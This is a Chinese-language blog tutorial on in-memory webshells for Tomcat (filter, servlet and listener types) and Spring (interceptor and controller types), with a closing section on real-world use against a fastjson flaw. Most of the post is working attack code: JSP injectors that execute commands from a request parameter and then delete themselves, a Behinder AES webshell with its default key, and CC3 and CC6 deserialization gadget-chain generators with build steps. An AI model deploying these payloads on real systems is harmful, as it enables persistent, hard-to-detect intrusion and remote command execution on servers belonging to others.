内存马即学即用

admin 2024年5月28日23:03:55评论6 views字数 40454阅读134分50秒阅读模式
原文链接:https://forum.butian.net/share/3002

目录

  1. Tomcat三种内存马

  2. Spring内存马结合反序列化相关利用

  3. 实战利用

一、Tomcat三种内存马

首先了解下tomcat的三种内存马的原理和简单实用

filter型内存马

Tomcat filter注册流程

FilterDefs:存放FilterDef的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例,作用 url 等基本信息

FilterConfigs:存放filterConfig的数组,在 FilterConfig 中主要存放 FilterDef 和 Filter对象等信息

FilterMaps:存放FilterMap的数组,在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern

FilterChain:过滤器链,该对象上的 doFilter 方法能依次调用链上的 Filter

WebXml:存放 web.xml 中内容的类

ContextConfig:Web应用的上下文配置类

StandardContext:Context接口的标准实现类,一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper

StandardWrapperValve:一个 Wrapper 的标准实现类,一个 Wrapper 代表一个Servlet

给项目导入tomcat lib依赖后,我们开始断点调试看看,不导入依赖看不到源码,但实际项目运行时是正常的,只是我们在idea里看不到。

调试跟入可以在堆栈中看到filterChain,我们接着查看哪里创建了它

内存马即学即用
在org.apache.catalina.core.ApplicationFilterFactory#createFilterChain中,我们跟进这个方法

内存马即学即用

可以看到这里首先获取了context网页上下文,然后找到所有的filtermap放在数组中

内存马即学即用
前面我们知道FilterMap 中主要存放了 FilterName 和 对应的URLPattern

内存马即学即用
后面继续跟入这个循环中,这个循环就是遍历filterMaps,去匹配当前请求的url与filterMap中的urlpatter,如果相就进入if调用findFilterConfig方法找到对应FilterName的filterConfig。如果filterConfig不为空就进入addFilter,我们继续跟入

可以发现这个循环遍历filter,就是进行一个去重的操作。下面这个 if 判断其实就是扩容,如果 n 已经等于当前 filters 的长度了就再添加10个容量

内存马即学即用
最终遍历完出来就完成了filterChain的一个组装
回到StandardWrapperValve中调用

内存马即学即用
跟进发现它又会调用internalDoFilter方法
这里会获取到所有的filterConfig然后依次进入到我们定义的doFilter方法中执行

内存马即学即用

内存马即学即用

我们跟据这个图理解filterConfig、filterMaps、filterDefs
内存马即学即用
其中filterConfigs也存放了context,两个context是一样的

根据上面的分析我们了解到,如果要实现filter类型内存马

大致流程如下:

  1. 创建一个恶意 Filter

  2. 利用 FilterDef 对 Filter 进行一个封装

  3. 将 FilterDef 添加到 FilterDefs 和 FilterConfig

  4. 创建 FilterMap ,将我们的 Filter 和 urlpattern 相对应,存放到 filterMaps中(由于 Filter 生效会有一个先后顺序,所以我们一般都是放在最前面,让我们的 Filter 最先触发)

<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.io.File" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<%
final String name = "Qiu";
// 获取StandardContext
ServletContext servletContext = request.getSession().getServletContext();

Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

//获取filterConfigs
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs" );
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);

//判断没有被注册
if (filterConfigs.get(name) == null) {
// 创建恶意的filter
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {

}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest request1 = (HttpServletRequest) servletRequest;
if (request1.getParameter("qiu") != null) {
byte[] bytes = new byte[1024];
Process process = Runtime.getRuntime().exec(request1.getParameter("qiu"));
int len = process.getInputStream().read(bytes);
servletResponse.getWriter().write(new String(bytes,0,len));
process.destroy();
return;
}
}

@Override
public void destroy() {

}
};

//获取filterDef,设置filter、类名、类
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
//将filterDef添加进入filterDefs
standardContext.addFilterDef(filterDef);

//获取filterMap,设置UrlPattern、类名
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
//因为 javax.servlet.DispatcherType 类是servlet 3 以后引入,而 Tomcat 7以上才支持 Servlet 3
filterMap.setDispatcher(DispatcherType.REQUEST.name());
//调用 StandardContext 的 addFilterMapBefore 直接加在 filterMaps 的第一位
standardContext.addFilterMapBefore(filterMap);

//利用反射创建filterConfigs,并添加filterDef和StandardContext
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
//将filterConfig放入filterConfigs中
filterConfigs.put(name, filterConfig);
out.println("Hack success!");

//文件自毁
(new File(application.getRealPath(request.getServletPath()))).delete();
}
%>

内存马即学即用

内存马即学即用

Servlet型内存马

这里我们直接看实现类 ApplicationContext 的 addServlet 方法。

private ServletRegistration.Dynamic addServlet(String servletName, String servletClass, Servlet servlet, Map initParams) throws IllegalStateException {
//servlet不为空
if (servletName != null &amp;&amp; !servletName.equals("")) {
this.checkState("applicationContext.addServlet.ise");
//根据name在context中的children中找到wrapper
Wrapper wrapper = (Wrapper)this.context.findChild(servletName);
//如果wrapper不存在则创建
if (wrapper == null) {
wrapper = this.context.createWrapper();
wrapper.setName(servletName);
//添加到context的children中
this.context.addChild(wrapper);
} else if (wrapper.getName() != null &amp;&amp; wrapper.getServletClass() != null) {
if (!wrapper.isOverridable()) {
return null;
}

wrapper.setOverridable(false);
}

//都是为了设置servletClass
ServletSecurity annotation = null;
if (servlet == null) {
wrapper.setServletClass(servletClass);
Class&lt;?&gt; clazz = Introspection.loadClass(this.context, servletClass);
if (clazz != null) {
annotation = (ServletSecurity)clazz.getAnnotation(ServletSecurity.class);
}
} else {
wrapper.setServletClass(servlet.getClass().getName());
wrapper.setServlet(servlet);
if (this.context.wasCreatedDynamicServlet(servlet)) {
annotation = (ServletSecurity)servlet.getClass().getAnnotation(ServletSecurity.class);
}
}

if (initParams != null) {
Iterator var9 = initParams.entrySet().iterator();

while(var9.hasNext()) {
Map.Entry initParam = (Map.Entry)var9.next();
wrapper.addInitParameter((String)initParam.getKey(), (String)initParam.getValue());
}
}

//用ApplicationServletRegistration创建对象并返回
ServletRegistration.Dynamic registration = new ApplicationServletRegistration(wrapper, this.context);
if (annotation != null) {
registration.setServletSecurity(new ServletSecurityElement(annotation));
}

return registration;
} else {
throw new IllegalArgumentException(sm.getString("applicationContext.invalidServletName", new Object[]{servletName}));
}
}

接着我们看org.apache.catalina.core.ApplicationServletRegistration#addMapping方法

    public Set addMapping(String... urlPatterns) {

if (urlPatterns == null) {
//为空返回一个不可变的Set对象
return Collections.emptySet();
} else {

Set conflicts = new HashSet();
String[] var3 = urlPatterns;
int var4 = urlPatterns.length;

int var5;
String urlPattern;
//遍历urlPatterns数组,就是一个去重操走
for(var5 = 0; var5 &lt; var4; ++var5) {
urlPattern = var3[var5];
String wrapperName = this.context.findServletMapping(urlPattern);
if (wrapperName != null) {
Wrapper wrapper = (Wrapper)this.context.findChild(wrapperName);
if (wrapper.isOverridable()) {
this.context.removeServletMapping(urlPattern);
} else {
conflicts.add(urlPattern);
}
}
}

if (!conflicts.isEmpty()) {
return conflicts;
} else {
var3 = urlPatterns;
var4 = urlPatterns.length;
//向context中添加urlPattern和对应的wrapper
for(var5 = 0; var5 &lt; var4; ++var5) {
urlPattern = var3[var5];
this.context.addServletMappingDecoded(UDecoder.URLDecode(urlPattern, StandardCharsets.UTF_8), this.wrapper.getName());
}

if (this.constraint != null) {
this.context.addServletSecurity(this, this.constraint);
}

return Collections.emptySet();
}
}
}

注意到向context中添加URL和对应的wrapper中调用了一个addServletMappingDecoded方法

通过这个方法向servletMappings添加处理后的,urlPattern和name

内存马即学即用
所以创建servlet内存马的步骤和之前类似,可以分为

  • 创建恶意Servlet

  • 用Wrapper对其进行封装

  • 添加封装后的恶意Wrapper到StandardContext的children当中

  • 添加ServletMapping将访问的URL和Servlet进行绑定

  • 同时在 servletMappings 中添加 URL 路径与 name 的映射。

<%@ page contentType="text/html;charset=UTF-8"%>
<%@ page import = "org.apache.catalina.core.*"%>
<%@ page import = "javax.servlet.*"%>
<%@ page import = "javax.servlet.http.*"%>
<%@ page import = "java.io.*"%>
<%@ page import = "java.lang.reflect.Field"%>

<%
// 创建恶意Servlet
class QiuServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
HttpServletRequest request1 = (HttpServletRequest) req;
HttpServletResponse response1 = (HttpServletResponse) resp;
if (request1.getParameter("qiu") != null) {
byte[] bytes = new byte[1024];
Process process = Runtime.getRuntime().exec(request1.getParameter("qiu"));
int len = process.getInputStream().read(bytes);
resp.getWriter().write(new String(bytes,0,len));
process.destroy();
return;
}else {
response1.sendError(HttpServletResponse.SC_NOT_FOUND);
}
}

@Override
public void destroy() {

}
}

final String name = "Qiu";
// 获取StandardContext
ServletContext servletContext = request.getSession().getServletContext();

Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

//用Wrapper对其进行封装
QiuServlet qiuServlet = new QiuServlet();
org.apache.catalina.Wrapper qiuWrapper = standardContext.createWrapper();
qiuWrapper.setName(name);
qiuWrapper.setLoadOnStartup(1);
qiuWrapper.setServlet(qiuServlet);
qiuWrapper.setServletClass(qiuServlet.getClass().getName());

//添加封装后的恶意Wrapper到StandardContext的children当中
standardContext.addChild(qiuWrapper);
// 同时在 servletMappings 中添加 URL 路径与 name 的映射
standardContext.addServletMappingDecoded("/Qiu", name);

out.println("Hack success!");
//销毁
(new File(application.getRealPath(request.getServletPath()))).delete();

%>

内存马即学即用

Listener型内存马

  • ServletContextListener:用于监听整个 Servlet 上下文(创建、销毁)

  • ServletContextAttributeListener:对 Servlet 上下文属性进行监听(增删改属性)

  • ServletRequestListener:对 Request 请求进行监听(创建、销毁)

  • ServletRequestAttributeListener:对 Request 属性进行监听(增删改属性)

  • javax.servlet.http.HttpSessionListener:对 Session 整体状态的监听

  • javax.servlet.http.HttpSessionAttributeListener:对 Session 属性的监听

在 ServletRequestListener 接口中,提供了两个方法在 request 请求创建和销毁时进行处理,比较适合我们用来做内存马,而且我们可以拿到每次请求的的事件:ServletRequestEvent,通过其中的getServletRequest()函数就可以拿到本次请求的request对象,从而加入我们的恶意逻辑 。

我们在requestInitialized处打个断点

内存马即学即用
查看栈帧定位到StandardHostValve的invoke方法

内存马即学即用
我们跟入,重点看红框部分,这里会调用listener的requestInitialized方法,然后我们需要进入这里就要获得instances,而instances通过getApplicationEventListeners方法返回,还有就是event参数通过new ServletRequestEvent(this.getServletContext(), request);获得

内存马即学即用
listener存放在applicationEventListenersList属性中

内存马即学即用
我们同样在StandardContext中找到相关的add方法

内存马即学即用

内存马即学即用
所以listener型的内存马注入很简单,就两步

  • 创建恶意listener

  • 将恶意listener添加到applicationEventListener中

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.io.File" %>

<%

//创建恶意listener
class QiuListener implements ServletRequestListener {
@Override
public void requestDestroyed(ServletRequestEvent sre) {
HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
if (req.getParameter("qiu") != null) {
InputStream in = null;
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
try {
String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("qiu")} : new String[]{"cmd.exe", "/c", req.getParameter("qiu")};
in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner scanner = new Scanner(in).useDelimiter("\A" );
String out = scanner.hasNext() ? scanner.next() : "";
Field requestFiled = req.getClass().getDeclaredField("request" );
requestFiled.setAccessible(true);
Request request = (Request) requestFiled.get(req);
request.getResponse().getWriter().write(out);
}catch (Exception e) {

}
}
}

@Override
public void requestInitialized(ServletRequestEvent sre) {

}
}

// 获取StandardContext
ServletContext servletContext = request.getSession().getServletContext();

Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
//将恶意listener添加到applicationEventListener中
QiuListener qiuListener = new QiuListener();
standardContext.addApplicationEventListener(qiuListener);

out.println("Hack success!");
// //销毁
(new File(application.getRealPath(request.getServletPath()))).delete();

%>

内存马即学即用

内存马即学即用
Listener的添加步骤要比前两种简单得多,优先级也是三者中最高的。

二、Spring内存马结合反序列化相关利用

环境

方便起见直接用SpringBoot了

  <parent>
   <groupId>org.springframework.boot</groupId>
   <artifactId>spring-boot-starter-parent</artifactId>
   <version>2.4.5</version>
   <relativePath/> <!-- lookup parent from repository -->
 </parent>

   <dependency>
     <groupId>commons-collections</groupId>
     <artifactId>commons-collections</artifactId>
     <version>3.2.1</version>
   </dependency>

   <dependency>
     <groupId>org.springframework.boot</groupId>
     <artifactId>spring-boot-starter-web</artifactId>
   </dependency>

 </dependencies>
</project>

漏洞点

@RestController
public class VulController {
   @RequestMapping("/vul")
   @ResponseBody
   public String vul(HttpServletRequest request, HttpServletResponse response, String payload) throws IOException, ClassNotFoundException {
       if (payload != null) {
           System.out.println(payload);
           byte[] decode = Base64.getDecoder().decode(payload);
           ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(decode);
           ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
           objectInputStream.readObject();
           return "attack success";
      }
       return "payload null";
  }
}

Interceptor内存马利用

上面讲的是tomcat内存马相关,这里再利用spring的内存马进行实际环境演示,其实原理都可以举一反三。

一、准备

我们知道,将自定义的Interceptor类加入到RequestMappingHandlerMapping类的adaptedInterceptors属性中即可注册一个拦截器。如下

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import java.lang.reflect.Field;

public class InterMemShell extends AbstractTranslet {
   static {
       try
      {
           WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
           AbstractHandlerMapping abstractHandlerMapping = context.getBean(AbstractHandlerMapping.class);
           Field field = null;

           field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");

           field.setAccessible(true);
           java.util.ArrayList adaptedInterceptors = null;

           adaptedInterceptors = (java.util.ArrayList)field.get(abstractHandlerMapping);

           String className = "magicInterceptor";
           //加载magicInterceptor类的字节码
           String b64 = "base64 class";
           byte[] bytes = sun.misc.BASE64Decoder.class.newInstance().decodeBuffer(b64);
           java.lang.ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
           java.lang.reflect.Method m0 = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
           m0.setAccessible(true);
           m0.invoke(classLoader, className, bytes, 0, bytes.length);
           //添加com.example.spring.magicInterceptor类到adaptedInterceptors
           adaptedInterceptors.add(classLoader.loadClass(className).newInstance());

      } catch (Exception e){
           e.printStackTrace();
      }

  }

   @Override
   public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

  }

   @Override
   public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

  }
}

所以我们还需要一个类名为magicInterceptor(可以自定义,当然也要修改上面的className)的拦截器,重写preHandle方法。

import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;

import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.lang.reflect.Method;
import java.util.HashMap;

public class magicInterceptor extends HandlerInterceptorAdapter{
   @Override
   public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
      String code = request.getParameter("qiu");
      if(code != null){
          try {
              java.io.PrintWriter writer = response.getWriter();
              String o = "";
              ProcessBuilder p;
              if(System.getProperty("os.name").toLowerCase().contains("win")){
                  p = new ProcessBuilder(new String[]{"cmd.exe", "/c", code});
              }else{
                  p = new ProcessBuilder(new String[]{"/bin/sh", "-c", code});
              }
              java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
              o = c.hasNext() ? c.next(): o;
              c.close();
              writer.write(o);
              writer.flush();
              writer.close();
          }catch (Exception e){
              e.printStackTrace();
          }
          return false;
      }
       return true;
  }
}

我这里利用CC3的LazyMap + TemplatesImpl链子打

package Qiu;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3 {
   public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
       TemplatesImpl templates = new TemplatesImpl();
       Class templateClass = templates.getClass();
       Field nameFiled = templateClass.getDeclaredField("_name" );
       nameFiled.setAccessible(true);
       nameFiled.set(templates, "qiuqiu");

       Field bytecodesFiled = templateClass.getDeclaredField("_bytecodes" );
       bytecodesFiled.setAccessible(true);

       byte[] code = Files.readAllBytes(Paths.get("xxx.class"));
       byte[][] codes = {code};
       bytecodesFiled.set(templates, codes);

       Field _tfField = templateClass.getDeclaredField("_tfactory");
       _tfField.setAccessible(true);
       _tfField.set(templates, new TransformerFactoryImpl());

       Transformer[] transformers = new Transformer[]{
               new ConstantTransformer(templates),
               new InvokerTransformer("newTransformer", null, null)};

       ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
       HashMap map = new HashMap&lt;&gt;();
       Map Lazymap = LazyMap.decorate(map, chainedTransformer);

       Class&lt;?&gt; annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
       Constructor&lt;?&gt; constructor = annotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
       constructor.setAccessible(true);
       InvocationHandler h = (InvocationHandler) constructor.newInstance(Override.class, Lazymap);

       //一个类被动态代理了之后,想要通过代理调用这个类的方法,就一定会调用 invoke() 方法。
       Map maproxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),// 传入ClassLoader
               new Class[]{Map.class},// 传入要实现的接口
               h);// 传入处理调用方法的InvocationHandler
       Object o = constructor.newInstance(Override.class, maproxy);
       serialize(o);
       //unserialize("ser.bin");
  }

   public static void  serialize(Object obj) throws IOException {
       ObjectOutputStream oos =new ObjectOutputStream(new FileOutputStream("ser.bin"));
       oos.writeObject(obj);
  }

   public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
       ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
       Object obj = ois.readObject();
       return obj;
  }
}

再准备一个Base64编码的工具类,因为后面肯定需要对字节码进行编码传输

package Qiu;

import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;

public class B64Evil {
   public static void main(String[] args) throws IOException {
       byte[] code1 = Files.readAllBytes(Paths.get("magicInterceptor.class"));
       System.out.println(Base64.getEncoder().encodeToString(code1));
       byte[] code = Files.readAllBytes(Paths.get("ser.bin"));
       System.out.println(Base64.getEncoder().encodeToString(code));
  }
}

二、编译利用

接下来就需要进行编译恶意类了。有些文章说直接用idea编译的,但是idea编译是会自带那个package包名的,如果有这个最后利用的时候会报.NoClassDefFoundError的错,我也不知道是怎么利用成功的。所以就得用javac编译,如果直接javac xxx.java会报一堆的错误,因为是找不到依赖的,所以需要利用cp参数。这里放出我的命令,这里的jar包我全部放在当前文件夹了。版本的话自行测试。

javac -cp .:spring-web-4.3.28.RELEASE.jar:spring-webmvc-4.3.28.RELEASE.jar:javax.servlet-api-3.1.0.jar:spring-context-4.3.28.RELEASE.jar:spring-beans-4.3.28.RELEASE.jar:spring-core-4.3.28.RELEASE.jar InterMemShell.java

首先编译好magicInterceptor(也就是你重写preHandle方法的?) 然后对class进行base64编码,放入InterMemShell中,然后用同样的命令对InterMemShell进行编译 接着利用CC3序列化成ser.bin文件,然后对它进行base64编码打入,发包的时候需要url编码

内存马即学即用

三、注入冰蝎内存马

先看看冰蝎的?

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*" %>
  <%!class U extends ClassLoader{
       U(ClassLoader c){super(c);
      }
   public Class g(byte []b){
       return super.defineClass(b,0,b.length);}
  }%>
      <%if (request.getMethod().equals("POST")){
           String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
           session.putValue("u",k);
           Cipher c=Cipher.getInstance("AES");
           c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
           new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
      }
      %>

将之前的?替换为冰蝎的逻辑

public class magicInterceptor extends HandlerInterceptorAdapter{
   @Override
   public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
       
       HttpSession session = request.getSession();

       HashMap pageContext = new HashMap();
       pageContext.put("request",request);
       pageContext.put("response",response);
       pageContext.put("session",session);
       try {
           if (request.getMethod().equals("POST")) {
               String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
               session.putValue("u",k);
               Cipher c=Cipher.getInstance("AES");
               c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
               Method method = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
               method.setAccessible(true);
               byte[] evilclass_byte = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()));
               Class evilclass = (Class) method.invoke(this.getClass().getClassLoader(), evilclass_byte,0, evilclass_byte.length);
               evilclass.newInstance().equals(pageContext);
          }
      } catch (Exception e){
           e.printStackTrace();
      }

       return true;
  }
}

内存马即学即用

Controller内存马利用

冰蝎逻辑马子

import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;

import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.lang.reflect.Method;
import java.util.HashMap;

public class magicController {
       public void shell() throws Exception {
           HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
           HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
           HttpSession session = request.getSession();
           //create pageContext
           HashMap pageContext = new HashMap();
           pageContext.put("request",request);
           pageContext.put("response",response);
           pageContext.put("session",session);
           try {
               if (request.getMethod().equals("POST")) {
                   String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
                   session.putValue("u",k);
                   Cipher c=Cipher.getInstance("AES");
                   c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
                   Method method = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
                   method.setAccessible(true);
                   byte[] evilclass_byte = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()));
                   Class evilclass = (Class) method.invoke(this.getClass().getClassLoader(), evilclass_byte,0, evilclass_byte.length);
                   evilclass.newInstance().equals(pageContext);
              }
          } catch (Exception e){
               e.printStackTrace();
          }
      }
}

注入恶意controller内存马

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import java.lang.reflect.Method;

public class ConMemShell extends AbstractTranslet {
   static {
       try {
           String className = "magicController";
           //加载magicController类的字节码
           String b64 = "b64";
           byte[] d = new sun.misc.BASE64Decoder().decodeBuffer(b64);
           java.lang.reflect.Method m = ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{String.class, byte[].class, int.class, int.class});
           m.setAccessible(true);
           m.invoke(Thread.currentThread().getContextClassLoader(), new Object[]{className, d, 0, d.length});
           WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
           PatternsRequestCondition url = new PatternsRequestCondition("/qiu");
           RequestMappingInfo info = new RequestMappingInfo(url, null, null, null, null, null, null);
           RequestMappingHandlerMapping rs = context.getBean(RequestMappingHandlerMapping.class);
           Method mm = Class.forName(className).getMethod("shell");
           rs.registerMapping(info, Class.forName(className).newInstance(), mm);
      }catch (Exception e){
           e.printStackTrace();
      }

  }

   @Override
   public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

  }

   @Override
   public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

  }

}

同样利用CC3打注入,成功连接

内存马即学即用

三、实战利用

目标是某云匣子的fastjson漏洞,关于漏洞分析可以看网上其他文章。

问题

开始是简单的想到利用CC3加载恶意类,但是后面尝试发现是不行的。因为我们在CC链的时候了解过, 在jdk8u71之后,代理类AnnotationInvocationHandler中的this.memberValues被替换为了linkedhashmap,所以会报错没有entrySet键。

解决

因为CC6是不受版本限制的,我们可以利用TemplatesImpl改造它参考这个师傅 https://f4de-bak.github.io/pages/ca9de1/#%E6%94%B9%E9%80%A0cc6 具体代码为

package Qiu;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class CC6V2 {
   public static void main(String[] args) throws Exception {
       ClassPool pool = ClassPool.getDefault();
       pool.appendClassPath("xxx/java/Qiu/");
       CtClass ctClass = pool.get("EvilTest");
       byte[] payloads = ctClass.toBytecode();
//       byte[] payloads = Base64.getDecoder().decode();

       TemplatesImpl templates = new TemplatesImpl();
       setFieldValue(templates, "_bytecodes", new byte[][] {payloads});
       setFieldValue(templates, "_name", "qiuqiu");
       setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

       Transformer transformer = new InvokerTransformer("getClass", null, null);

       Map innerMap = new HashMap();
       Map outerMap = LazyMap.decorate(innerMap, transformer);

       TiedMapEntry tme = new TiedMapEntry(outerMap, templates);

       Map expMap = new HashMap();
       expMap.put(tme, "qiu");

       outerMap.clear();

       setFieldValue(transformer, "iMethodName", "newTransformer");
//
//       ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
//       oos.writeObject(expMap);
//       oos.close();

       unserialize("ser.bin");

  }

   public static void setFieldValue(Object obj, String fieldName, Object
           value)
throws Exception
{
       Field field = obj.getClass().getDeclaredField(fieldName);
       field.setAccessible(true);
       field.set(obj, value);
  }

   public static Object unserialize(String file) throws IOException, ClassNotFoundException {
//       byte[] decode = Base64.getDecoder().decode(payload);
//       ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream();
       ObjectInputStream ois = new ObjectInputStream(new FileInputStream(file));
       Object obj = ois.readObject();
       return obj;
  }
}

